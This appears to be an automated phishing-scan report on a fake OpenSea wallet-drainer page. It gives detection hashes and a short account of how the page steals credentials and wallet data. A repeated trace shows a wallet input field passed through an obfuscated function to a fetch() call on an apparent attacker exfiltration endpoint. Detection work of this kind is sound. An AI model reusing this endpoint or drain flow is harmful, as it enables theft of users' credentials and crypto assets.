Detailed analysis of captured phishing page
Used to detect similar phishing pages based on HTML content
| Algorithm | Hash Value |
|---|---|
|
CONTENT
TLSH
|
T14E832AB673200379515B43F470E5A3EEA1A7F34CFA636509A39C125AAAC7CB0EC5D5A0 |
|
CONTENT
ssdeep
|
1536:wA775O4PJ1UrhJEBespe4PJ1a4Lh9vjQURP:D775k3EBpB |
Used to detect visually similar phishing pages based on screenshots
| Algorithm | Hash Value |
|---|---|
|
VISUAL
pHash
|
ffffe62222228988 |
|
VISUAL
aHash
|
8198988080808080 |
|
VISUAL
dHash
|
0910121000000004 |
|
VISUAL
wHash
|
ff989880808080ff |
|
VISUAL
colorHash
|
380000001c0 |
|
VISUAL
cropResistant
|
0910121000000004 |
Victim enters username and password into fake login form. Credentials are captured via JavaScript and exfiltrated to attacker's server in real-time.
Malicious code is obfuscated using 343 techniques to evade detection by security scanners and make reverse engineering more difficult.
Drainer supports multiple blockchain networks and checks for high-value tokens on each chain before executing drain operations.
User fills <input name=wallet> → n9R_NV() → fetch('https://opensea-iba2.pages.dev/api/exfiltrate') → exfiltration endpoint
User fills <input name=wallet> → n9R_NV() → fetch('https://opensea-iba2.pages.dev/api/exfiltrate') → exfiltration endpoint
main.jsn9R_NVsendDataPages with identical visual appearance (based on perceptual hash)
Found 1 other scan for this domain